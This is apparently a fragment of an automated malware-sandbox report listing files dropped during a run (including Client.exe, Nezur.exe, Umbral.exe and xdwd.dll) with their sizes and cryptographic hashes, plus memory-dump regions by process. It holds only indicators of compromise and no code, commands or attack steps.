                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            d85ba6ff808d9e5444a4b369f5bc2730

                                                                            SHA1

                                                                            31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                            SHA256

                                                                            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                            SHA512

                                                                            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                            Filesize

                                                                            1KB

                                                                            MD5

                                                                            1c8ed1293d221f14d6142addad60bb7e

                                                                            SHA1

                                                                            6c236459abbd5617fe62f1c1898c5cdc072f0bcb

                                                                            SHA256

                                                                            0992caa251b9bdf1f789dcf487dc29dad58f2376578573c037d106f608743dd5

                                                                            SHA512

                                                                            3a0716fdbd3a62a065e6f1c5479a495e98bafdd026a3b2c33a0d181ba06069f8f14e910daa69000432da983a0bb87ea4db804562149d58049e393ce0206fe52c

                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                            Filesize

                                                                            944B

                                                                            MD5

                                                                            6d42b6da621e8df5674e26b799c8e2aa

                                                                            SHA1

                                                                            ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

                                                                            SHA256

                                                                            5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

                                                                            SHA512

                                                                            53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                            Filesize

                                                                            948B

                                                                            MD5

                                                                            c9b6705519e1eef08f86c4ba5f4286f3

                                                                            SHA1

                                                                            6c6b179e452ecee2673a1d4fe128f1c06f70577f

                                                                            SHA256

                                                                            0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

                                                                            SHA512

                                                                            6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                            Filesize

                                                                            1KB

                                                                            MD5

                                                                            548dd08570d121a65e82abb7171cae1c

                                                                            SHA1

                                                                            1a1b5084b3a78f3acd0d811cc79dbcac121217ab

                                                                            SHA256

                                                                            cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

                                                                            SHA512

                                                                            37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

                                                                          • C:\Users\Admin\AppData\Local\Temp\Client.exe

                                                                            Filesize

                                                                            578KB

                                                                            MD5

                                                                            1984de1def2a649295eb4683cef7b145

                                                                            SHA1

                                                                            b3772c1d98f1d18bafd8cf4781f65fc17f20811a

                                                                            SHA256

                                                                            ad1ca0ede87c65ab25cca6d7899da474b27ee5631e55c21120e857d16b9802b2

                                                                            SHA512

                                                                            8b64bec1f124bfe5df9e3b8f7fcae5921836604c67e537445c48bcc2b7ac0b71d00fc7c8f8609799577bce4cdf24bed38eb0c23bb537881c74216f416a665a65

                                                                          • C:\Users\Admin\AppData\Local\Temp\Nezur.exe

                                                                            Filesize

                                                                            7.9MB

                                                                            MD5

                                                                            754c5ad19cb3bc21a58bccf028bc2b86

                                                                            SHA1

                                                                            66fe0f66d80023b347707248abe6e44e5f9d98ce

                                                                            SHA256

                                                                            8445e6223a5f1b7f33b0320560b34139ab758006ed4492f581e2b90d3e104f5b

                                                                            SHA512

                                                                            fdbbfbc10c58e909da664e643bffbe640b4b3242df0da2d5bd40d9691f96ce6cca4c27e166dff7e290b3a5f012b0a3e135e1650bf61a7484253c59cc54177790

                                                                          • C:\Users\Admin\AppData\Local\Temp\Umbral.exe

                                                                            Filesize

                                                                            230KB

                                                                            MD5

                                                                            9e9bbff99af7ac67d8bd79f854bd569c

                                                                            SHA1

                                                                            cce432ed7fc4aa23daf8311e2ef3ea2f056c1ca6

                                                                            SHA256

                                                                            e0465af4219a63f50e3a44f579d27dc9a0188797faf7f614b5f2ecc1d899a24c

                                                                            SHA512

                                                                            7b70e1cd5b900aa16894c5cd13925f799d59e11fc3113adeeaf4d770e27b4088546f8e21c674d3aed3c13ccc06c04c22a2d54c8286dda28fee77fd0fd1a870b8

                                                                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o4cywraj.ne3.ps1

                                                                            Filesize

                                                                            60B

                                                                            MD5

                                                                            d17fe0a3f47be24a6453e9ef58c94641

                                                                            SHA1

                                                                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                            SHA256

                                                                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                            SHA512

                                                                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                          • C:\Windows\xdwd.dll

                                                                            Filesize

                                                                            136KB

                                                                            MD5

                                                                            16e5a492c9c6ae34c59683be9c51fa31

                                                                            SHA1

                                                                            97031b41f5c56f371c28ae0d62a2df7d585adaba

                                                                            SHA256

                                                                            35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66

                                                                            SHA512

                                                                            20fd369172ef5e3e2fde388666b42e8fe5f0c2bfa338c0345f45e98af6561a249ba3ecc48c3f16efcc73f02ecb67b3ddb1e2e8f0e77d18fa00ac34e6379e50b6

                                                                          • memory/2040-2-0x00007FFE86A90000-0x00007FFE87551000-memory.dmp

                                                                            Filesize

                                                                            10.8MB

                                                                          • memory/2040-0-0x00007FFE86A93000-0x00007FFE86A95000-memory.dmp

                                                                            Filesize

                                                                            8KB

                                                                          • memory/2040-35-0x00007FFE86A90000-0x00007FFE87551000-memory.dmp

                                                                            Filesize

                                                                            10.8MB

                                                                          • memory/2040-1-0x0000000000FA0000-0x00000000017EC000-memory.dmp

                                                                            Filesize

                                                                            8.3MB

                                                                          • memory/2484-36-0x00007FF75CF10000-0x00007FF75E269000-memory.dmp

                                                                            Filesize

                                                                            19.3MB

                                                                          • memory/2928-30-0x00000000008F0000-0x0000000000986000-memory.dmp

                                                                            Filesize

                                                                            600KB

                                                                          • memory/2928-38-0x00007FFE86A90000-0x00007FFE87551000-memory.dmp

                                                                            Filesize

                                                                            10.8MB

                                                                          • memory/2928-224-0x00007FFE86A90000-0x00007FFE87551000-memory.dmp

                                                                            Filesize

                                                                            10.8MB

                                                                          • memory/3584-48-0x000001D5FB1C0000-0x000001D5FB1E2000-memory.dmp

                                                                            Filesize

                                                                            136KB

                                                                          • memory/4052-65-0x0000025FA1560000-0x0000025FA15D6000-memory.dmp

                                                                            Filesize

                                                                            472KB

                                                                          • memory/4052-100-0x0000025FA1500000-0x0000025FA150A000-memory.dmp

                                                                            Filesize

                                                                            40KB

                                                                          • memory/4052-101-0x0000025FA1530000-0x0000025FA1542000-memory.dmp

                                                                            Filesize

                                                                            72KB

                                                                          • memory/4052-33-0x0000025F86E30000-0x0000025F86E70000-memory.dmp

                                                                            Filesize

                                                                            256KB

                                                                          • memory/4052-119-0x0000025FA1650000-0x0000025FA17BA000-memory.dmp

                                                                            Filesize

                                                                            1.4MB

                                                                          • memory/4052-67-0x0000025FA1630000-0x0000025FA164E000-memory.dmp

                                                                            Filesize

                                                                            120KB

                                                                          • memory/4052-66-0x0000025FA15E0000-0x0000025FA1630000-memory.dmp

                                                                            Filesize

                                                                            320KB